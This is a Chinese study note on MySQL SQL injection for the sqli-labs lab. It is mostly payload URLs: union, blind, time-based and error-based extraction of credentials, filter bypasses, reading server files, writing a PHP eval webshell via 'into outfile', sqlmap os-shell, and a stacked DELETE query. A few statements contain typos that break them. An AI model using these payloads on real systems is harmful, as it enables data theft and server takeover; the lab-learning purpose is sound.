MYSQL SQL注入


Mysql SQL注入

Mysql注入學習,配合sqllab學習。除了sqllab的內容外增加了 JSON報錯注入報錯注入讀寫文件數據庫拿Shell

常用函數

#系統函數
1. version()  MySQL 版本 
2. user()  數據庫用戶名 
3. database()  數據庫名 
4. @@datadir  數據庫路徑 
5. @@version_compile_os  操作系統版本
6. @@basedir 數據庫安裝路徑
7. @@version_compile_os 操作系統

#字符串連接函數
1. concat(str1,str2,...)  沒有分隔符地連接字符串 
2. concat_ws(separator,str1,str2,...)  含有分隔符地連接字符串 
3. group_concat(str1,str2,...)  連接一個組的所有字符串,並以逗號分隔每一條數據

#一般用於嘗試的是否存在注入的語句
or 1=1--+ 
'or 1=1--+ 
"or 1=1--+ 
)or 1=1--+ 
')or 1=1--+ 
") or 1=1--+ 
"))or 1=1--+
% or 1=1--+ 
以此類推。。。
PS:--+可以用#替換,url 提交過程中 Url 編碼后的#為%23

注入流程

​ 一個數據庫當中有很多的數據表,數據表當中有很多的列,每一列當中存儲着數據。我們注入的過程就是先拿到數據庫名,在獲取到當前數據庫名下的數據表,再獲取當前數據表下的列,最后獲取數據。

#查詢數據庫
show databases;

#選擇數據庫
use security;

#查詢表
show tables;

#查看表結構
desc emails;

使用系統數據庫進行注入

#系統數據庫information_schema
use information_schema

#查詢數據庫
select schema_name from information_schema.schemata

#查詢表
select table_name from information_schema.tables where table_schema=’xxxxx’

#查詢表的所有列
Select column_name from information_schema.columns where table_name=’xxxxx’

#獲取某列的內容
Select *** from ****

注入點探測

尋找參數進行注入嘗試

or 1=1--+ 
'or 1=1--+ 
"or 1=1--+ 
)or 1=1--+ 
')or 1=1--+ 
") or 1=1--+ 
"))or 1=1--+
% or 1=1--+ 
以此類推。。。

注入嘗試

union注入

  • order by 測試 select * 的個數

    http://127.0.0.1/sqllib/Less-1/?id=1' order by 3--+
    

  • 判斷顯示位

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,2,3--+
    

  • 爆數據庫名

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata--+
    

  • 爆security中的表名

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
    

  • 爆users表的列

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+
    

  • 爆數據

    http://127.0.0.1/sqllib/Less-1/?id=-1' union select 1,username,password from users where id=2--+
    

技巧總結

  • id=1'--+ 、 id=1--+ 是否報錯可以判斷出接收的參數是整數型還是字符型。id=1'--+不報錯證明為字符型, id=1--+不報錯證明為整數型,反之亦然。

  • Less-1—Less-4 注入方式基本一樣,都是用上面的union注入,主要是參數的閉合方式不同。分別是 ' 、空 、 ') 、 ")。

盲注

盲注就是在 sql 注入過程中,sql 語句執行后,選擇的數據不能回顯到前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試,這個過程稱之為盲注。

盲注分為3類:

  • 基於布爾 SQL 盲注
  • 基於時間的 SQL 盲注
  • 基於報錯的 SQL 盲注

基於布爾 SQL 盲注

通過構造邏輯判斷進行注入。

布爾 SQL 盲注,需要利用截取字符串函數,常用的函數有:mid(),substr(),left()

Ascii()將某個字符轉換為 ascii 值 ascii(substr((select database()),1,1))=98

Ord()函數同 ascii(),將字符轉為 ascii 值

regexp 正則注入 select user() regexp '[1]'; 判斷user() 第一位

select user() regexp '^r[a-z]';判斷user() 第二位

like 匹配注入 select user() like ‘ro%’

mid()函數

MID(column_name,start[,length])

參數 描述
column_name 必需。要提取字符的字段。
start 必需。規定開始位置(起始值是 1)。
length 可選。要返回的字符數。如果省略,則 MID() 函數返回剩余文本。

Sql用例:

(1)MID(database(),1,1)>’a’,查看數據庫名第一位,MID(DATABASE(),2,1)查看數據庫名第二位,依次查看各位字符。

(2)MID((select table_name from information_schema.tables where table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’ 此處column_name參數可以為sql語句,可自行構造sql語句進行注入。

substr()函數

substr()和substring()函數實現的功能是一樣的,均為截取字符串。

substring(string, start, length)、substr(string, start, length)

參數描述同mid()函數,第一個參數為要處理的字符串,start為開始位置,length為截取的長度。

Sql用例:

(1) substr(database(),1,1)>’a‘,查看數據庫名第一位,substr(database(),2,1)查看數據庫名第二位,依次查看各位字符。

(2) substr((select table_name from information_schema.tables where table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’ 此處string參數可以為sql語句,可自行構造sql語句進行注入。

Left()函數

Left()得到字符串左部指定個數的字符

Left ( string, n) string為要截取的字符串,n為長度。

參數 描述
string 必需。要提取字符的字段。
n 必需。提取字符長度。

Sql用例:

(1) left(database(),1)>’a’,查看數據庫名第一位,left(database(),2)>’ab’,查看數據庫名前二位。

(2) 同樣的string可以為自行構造的sql語句。

基於正確和不正確的返回顯示不同
#版本號判斷
http://127.0.0.1/Less-5/?id=1 ' and left(version(),1)=5 --+
#判斷數據庫名位數
http://127.0.0.1/Less-5/?id=1 ' and length(database())=8 --+
#判斷數據庫名第一個字母
http://127.0.0.1/Less-5/?id=1 ' and left(database(),1)='a'--+
#這里可以利用burp進行爆破,使用ascii()進行編碼爆破65-122(A-Z,a-z)
http://127.0.0.1/Less-5/?id=1 ' and ascii(left(database(),1))=101--+

#substr()可以替換上面的left使用,效果一樣。
#爆數據庫名
http://127.0.0.1/Less-5/?id=1 ' and ascii(substr(database(),1))=101--+
==http://127.0.0.1/Less-5/?id=1 ' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=101--+

#爆表名 得知數據庫名后可以替換database(),獲取表名的第二個只需要substr(**,2,1)即可。
http://127.0.0.1/Less-5/?id=1 ' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101--+

#獲取第二個表
上述的語句中使用的 limit 0,1. 意思就是從第 0 個開始,獲取第一個,那要獲取第二個就是 limit 1,1
#regexp 正則匹配
http://127.0.0.1/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)--+

基於報錯的 SQL 盲注

構造 payload 讓信息通過錯誤提示回顯出來

十種報錯函數:

  • floor()
  • extractvalue()
  • updatexml()
  • geometrycollection()
  • multipoint()
  • polygon()
  • multipolygon()
  • linestring()
  • multilinestring()
  • exp()

常用的報錯函數

floor():floor函數的作用是返回小於等於該值的最大整數,也可以理解為向下取整,只保留整數部分。

extractvalue():對XML文檔進行查詢的函數。

updatexml():更新xml文檔的函數。

#floor報錯返回用戶名
http://127.0.0.1/Less-5/?id=1' union select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a--+

# 利用xpath函數報錯注入
http://127.0.0.1/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))--+

# 利用updatexml函數報錯注入
http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(0x7e,(select @@version),0x7e),1)--+

#利用數據的重復性
http://127.0.0.1/Less-5/?id=1' union select 1,2,3 from (select name_const(version(),1),name_const(version(),1))x --+

#版本問題沒有成功輸出想要的數據
#利用 double 數值類型超出范圍進行報錯注入
http://127.0.0.1/Less-5/?id=1' union select (exp(~(select * FROM(SELECT USER())a))),2,3--+
#利用bigint溢出進行報錯注入
http://127.0.0.1/Less-5/?id=1' union select (!(select * from (select user())x) - ~0),2,3--+

JSON報錯注入

從 MySQL 5.7.8 開始支持由RFC 7159 JSON 定義的本機數據類型 ,可以有效地訪問 JSON(JavaScript Object Notation)文檔中的數據

  • JSON_TYPE()

    JSON_TYPE(version())

​ 此函數獲取JSON值的類型,當我們傳入的值不屬於json格式則報錯。

http://127.0.0.1/Less-1/?id=1'and JSON_TYPE(version())%23
  • JSON_EXTRACT()

    JSON_EXTRACT(json_doc, path[, path] ...)

​ 此函數從 JSON 文檔中返回數據,從與path參數匹配的文檔部分中選擇.

#當第一個參數不是json類型的值則報錯
http://127.0.0.1/Less-1/?id=1'and JSON_EXTRACT(version(), '$[1]')%23
http://127.0.0.1/Less-1/?id=1'and JSON_EXTRACT((select user()),'$.a')%23
#當第二個參數不是指定格式的字符時也報錯
http://127.0.0.1/Less-1/?id=1'and json_extract('[1]',version())%23
http://127.0.0.1/Less-1/?id=1'and json_extract('{"a":1,"a":2}',version())%23
  • JSON_ARRAY_APPEND()

    JSON_ARRAY_APPEND(json_doc, path, val[, path, val] ...)

​ 將值附加到 JSON 文檔中指定數組的末尾並返回結果,報錯輸出原理和json_extract函數相同。

http://127.0.0.1/Less-1/?id=1' select JSON_ARRAY_APPEND(version(),1,1)%23
http://127.0.0.1/Less-1/?id=1' select JSON_ARRAY_APPEND('[1,2]',version(),1)%23

報錯注入讀寫文件

#讀文件
http://127.0.0.1/Less-1/?id=1' and (exp(~(select*from(select load_file('C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\phpinfo.php'))a)));

http://127.0.0.1/Less-1/?id=-1 and (extractvalue(1,concat(0x7e,(select load_file('C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\phpinfo.php')),0x7e)))

#寫文件 寫文件默認就是只能創建文件,無法寫入內容。
http://127.0.0.1/Less-1/?id=-1 and  exp(~(select*from(select 'hello')a)) into outfile 'C:\\inetpub\\wwwroot\\target_sys.com\\data\\config.inc.txt';

基於時間的 SQL 盲注

如果條件成立,延遲返回數據。

如:If(ascii(substr(database(),1,1))=115,sleep(5),0)%23 //if 判斷語句,條件為真,執行 sleep,返回延遲5秒。

數據庫 函數
Mysql BENCHMARK(100000,MD5(1)) or sleep(5)
Postgresql PG_SLEEP(5) or GENERATE_SERIES(1,10000)
Ms sql WAITFOR DELAY ‘0:0:5’
#利用 sleep()函數進行注入 if(條件語句,ture輸出,錯誤輸出)
http://127.0.0.1/Less-5/?id=1'and if(ascii(substr(database(),1,1))=115,1,sleep(5))--+

#利用benchmark()函數延時注入
#當結果正確的時候,運行 ENCODE('MSG','by 5 seconds')操作 50000000 次,會占用一段時間
http://127.0.0.1/Less-5/?id=1'UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1--+

導入導出相關操作

load_file()讀文件

Load_file(file_name):讀取一個文件並將其內容作為字符串返回。

使用條件:

  • 必須有權限讀取並且文件必須完全可讀

    and (select count(*) from mysql.user)>0 --+/* 如果結果返回正常,說明具有讀寫權限。

    and (select count(*) from mysql.user)>0 --+/* 返回錯誤,應該是管理員給數據庫帳戶降權

  • 欲讀取文件必須在服務器上

  • 必須指定文件完整的路徑

  • 欲讀取文件必須小於 max_allowed_packet

在實際的注入中,我們有兩個難點需要解決:

  • 絕對物理路徑

  • 構造有效的畸形語句 (報錯爆出絕對路徑)

在很多 PHP 程序中,當提交一個錯誤的 Query,如果 display_errors = on,程序就會暴露 WEB 目錄的絕對路徑。

#利用 hex()將文件內容導出來
Select 1,2,3,4,5,6,7,hex(replace(load_file(char(99,58,92,119,105,110,100,111,119,115,92, 114,101,112,97,105,114,92,115,97,109)))

#ASCII 代碼 "c:/boot.ini"
-1 union select 1,1,load_file(char(99,58,47,98,111,111,116,46,105,110,105))

#“c:/boot.ini”的 16 進制是“0x633a2f626f6f742e696e69”
-1 union select 1,1,load_file(0x633a2f626f6f742e696e69)

#路徑里的/用 \\代替
http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,1,load_file("C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\phpinfo.php")--+

load data infile 讀文件裝入數據表

load data infile 語句用於高速地從一個文本文件中讀取行,並裝入一個表中。文件名稱必須為一個文字字符串。

例子:

load data infile '/tmp/test.txt' ignore into table t0 character set gbk fields terminated by '\t' lines terminated by '\n'

character set gbk 是字符集設置為 gbk,fields terminated by 是每一項數據之間的分隔符,lines terminated by 是行的結尾符。

select ... int outfile寫文件

利用條件

  1. 此方法利用的先決條件
  • web目錄具有寫權限,能夠使用單引號
  • 知道網站絕對路徑(根目錄,或則是根目錄往下的目錄都行)
  • secure_file_priv沒有具體值(在mysql/my.ini中查看)
  1. secure_file_priv

secure_file_priv是用來限制load dumpfile、into outfile、load_file()函數在哪個目錄下擁有上傳和讀取文件的權限。如下關於secure_file_priv的配置介紹

當secure_file_priv的值為null ,表示限制mysqld 不允許導入/導出
當secure_file_priv的值為/tmp/ ,表示限制mysqld 的導入/導出只能發生在/tmp/目錄下
當secure_file_priv的值沒有具體值時,表示不對mysqld 的導入/導出做限制

#查看secure-file-priv參數的值
show global variables like '%secure%';

#修改secure_file_priv 的值
在mysql/my.ini中查看是否有secure_file_priv的參數,如果沒有的話我們就添加 secure_file_priv = ' ' 即可

**select.....into outfile 'file_name' **

可以把被選擇的行寫入一個文件中。該文件被創建到服務器主機上,因此您必須擁有 FILE權限,才能使用此語法。file_name 不能是一個已經存在的文件。

例子:

#第一種直接將 select 內容寫到文件中 使用斜杠轉義
select version() into outfile “c:\\phpnow\\htdocs\\test.php”
#此處將 version()替換成一句話<?php @eval($_post[“mima”])?>
select <?php @eval($_post[“mima”])?> into outfile “c:\\phpnow\\htdocs\\test.php”

#第二種修改文件結尾
select version() into outfile “c:\\phpnow\\htdocs\\test.php” LINES TERMINATED BY 0x16 進制文件
http://127.0.0.1/sqllab/Less-2/?id=-1 union select 1,2,'<?php @eval($_post["mima"])?>'  into outfile"C:\\CodeAudit\\Phpstudy2018\\PHPTutorial\\WWW\\1.php"--+

os-shell

--os-shell就是使用udf提權獲取WebShell。也是通過into oufile向服務器寫入兩個文件,一個可以直接執行系統命令,一個進行上傳文件,此為sqlmap的一個命令,利用這條命令的先決條件:

  • 要求為DBA,--is-dba(phpstudy搭建的一般為DBA)
  • 知道網站的絕對路徑
  • secure_file_priv = ' '
  • get_magic_quotes_gpc()為off,php主動轉義的功能關閉
sqlmap -u http://xxxx --os-shell

sqlmap在指定的目錄生成了兩個文件(文件名是隨機的,並不是固定的):

  • tmpbjvuo.php 用來執行系統命令
  • tmpuyett.php 用來上傳文件

#命令執行
http://192.168.1.100/tmpbjvuo.php?cmd=whoami

#上傳文件
http://192.168.1.100/tmpuyett.php

增刪函數

Insert

增加一行數據

insert into users values('16','lcamry','lcamry');

delete

#刪數據
delete from 表名; 
delete from 表名 where id=1; 

刪數據庫:drop database 數據庫名; 
刪除表:drop table 表名; 
刪除表中的列:alter table 表名 drop column 列名; 

updata

updata 表名 set 列名='新的值';  新的值,非數字加單引號
updata 表名 set 列名='新的值,非數字加單引號' where id=6;

addslashes()

addslashes() 函數返回在預定義字符之前添加反斜杠的字符串。

預定義字符是:

  • 單引號(')

  • 雙引號(")

  • 反斜杠(\)

  • NULL

    addslashes(string)

  • Notice:使用 addslashes(),我們需要將 mysql_query 設置為 binary 的方式,才能防御寬字節的注入。

    Mysql_query(“SET character_set_connection=gbk,character_set_result=gbk,character_set_client=binary”,$conn);

stripslashes()

函數刪除由 addslashes() 函數添加的反斜杠。

mysql_real_escape_string()

函數轉義 SQL 語句中使用的字符串中的特殊字符。

下列字符受影響:

  • \x00

  • \n

  • \r

  • \

  • '

  • "

  • \x1a

如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。

語法:mysql_real_escape_string(string,connection)

string 必需。規定要轉義的字符串。

connection 可選。規定 MySQL 連接。如果未規定,則使用上一個連接。

HTTP頭注入

  • User-Agent
  • Referer
  • Cookie
  • X-Forwarded-for
  • Host

二次排序注入

二次排序注入也成為存儲型的注入,就是將可能導致 sql 注入的字符先存入到數據庫中,當再次調用這個惡意構造的字符時,就可以出發 sql 注入。

繞過

1、#,--注釋符號的過濾,使用‘進行閉合
-1' union select 1,@@datadir,'3

(1)id=-1,為什么要用-1,因為 sql 語句執行了兩個 select 語句,第一個 select 為 id 的選擇語句,第二個為我們構造的 select 語句。只有一個數據可以輸出,為了讓我們自己構造的數據可以正常輸出,第一個select要沒有結果,所以-1或者超過數據庫所有數據都可以。 
(2)-1' union select 1,@@datadir,’3,第一個’(單引號)閉合-1,第二個’(單引號)閉合后面的。這樣將查詢內容顯示在username處。 
(3)此處可以報錯注入,延時注入, 可以利用or ‘1’=’1進行閉合。

2、or and 過濾
(1)大小寫變形 Or,OR,oR 
(2)編碼,hex,urlencode 
(3)添加注釋/*or*/ 
(4)利用符號 and=&& or=||

3、過濾空格
(1)%09 TAB 鍵(水平) 
(2)%0a 新建一行 
(3)%0c 新的一頁 
(4)%0d return 功能 
(5)%0b TAB 鍵(垂直) 
(6)%a0 空格

4、過濾union,select
(1)大小寫混合

數據庫與web站點可能是分離的

寬字節注入

過濾 ‘ \的情況下,寬字節注入好使。mysql 在使用 GBK 編碼的時候,會認為兩個字符為一個漢字,例如%aa%5c 就是一個漢字(前一個 ascii 碼大於 128 才能到漢字的范圍)我們在過濾 ’ 的時候,往往利用的思路是將 ‘ 轉換為 \’

因此我們在此想辦法將 ‘ 前面添加的 \ 除掉,一般有兩種思路:

1、%df 吃掉 \ 具體的原因是 urlencode(‘\) = %5c%27,我們在%5c%27 前面添加%df,形成 %df%5c %27,而上面提到的 mysql 在 GBK 編碼方式的時候會將兩個字節當做一個漢字,此時 %df%5c 就是一個漢字,%27 則作為一個單獨的符號在外面,同時也就達到了我們的目的。

2、將 \’ 中的 \ 過濾掉,例如可以構造 %**%5c%5c%27 的情況,后面的%5c 會被前面的%5c 給注釋掉。

get 型的方式我們是以 url 形式提交的,因此數據會通過 URLencode,在 post 型的注入當中,將 utf-8 轉換為 utf-16 或 utf-32

%df
' utf-8 轉換為 utf-16
' utf-8 轉換為 utf-32

堆疊注入

命令行中,每一條語句結尾加 ; 表示語句結束。堆疊注入是指可以多句一起使用。

用戶輸入: 
	1; DELETE FROM products 
服務器端生成的 sql 語句為:(因未對輸入的參數進行過濾) 
	Select * from products where productid=1;DELETE FROM products

堆疊注入的局限性在於並不是每一個環境下都可以執行,可能受到 API 或者數據庫引擎不支持的限制.

order by / limit 后的注入

sql 語句為$sql = "SELECT * FROM users ORDER BY $id";

注入嘗試: sort=1 desc 或者 sort=1 asc,顯示結果不同。則表明可以注入。 order by 不同於的我們在 where 后的注入點,不能使用 union 等進行注入。

1、order by 后的數字可以作為一個注入點。也就是構造 order by 后的一個語句,讓該語句執行結果為一個數
http://127.0.0.1/Less-46/?sort=right(version(),1)  沒有報錯,但是 right 換成 left 都一樣,說明數字沒有起作用,我們考慮布爾類型、報錯注入和延時注入
?sort= 后面的一個參數。此時,我們可以有三種形式:
①直接添加注入語句,?sort=(select ******) 
	報錯注入
	http://127.0.0.1/Less-46/?sort=(select count(*) from information_schema.columns group by concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2)))
	延時注入
	http://127.0.0.1/Less-46/?sort=(select if(substr(current,1,1)=char(115), BENCHMARK(50000000,md5('1')),null) from (select database() as current) as tb1)
	
	
②利用一些函數。例如 rand()函數等。?sort=rand(sql 語句) 
	rand(ture)和 rand(false)的結果是不一樣
	http://127.0.0.1/Less-46/?sort=rand(ascii(left(database(),1))=115)
	http://127.0.0.1/Less-46/?sort=rand(ascii(left(database(),1))=116
	對比 rand(ture)和 rand(false)的結果,可以看出報錯注入是成功的
	
③利用 and,例如?sort=1 and (加 sql 語句)
	延時注入
	http://127.0.0.1/Less-46/?sort=1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)
	
2、procedure analyse
利用 procedure analyse 參數,我們可以執行報錯注入。同時,在procedure analyse和 order by 之間可以存在 limit 參數,我們在實際應用中,往往也可能會存在 limit 后的注入,可以利用 procedure analyse 進行注入。
	http://127.0.0.1/Less-46/?sort=1 procedure analyse(extractvalue(rand()*2,concat(0x3a,version())),1) 不成功
	將查詢結果導入到文件當中into outfile
	http://127.0.0.1/Less-46/?sort=1 into outfile "D:\\software\\wamp\\www\\sql\\test1.txt"
	寫入馬phpinfo.php lines terminated by 0x(網馬進行 16 進制轉換)
	http://127.0.0.1/Less-46/?sort=1 into outtfile c:\\wamp\\www\\sqllib\\test1.txt lines terminated by 0x

  1. a-z ↩︎


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM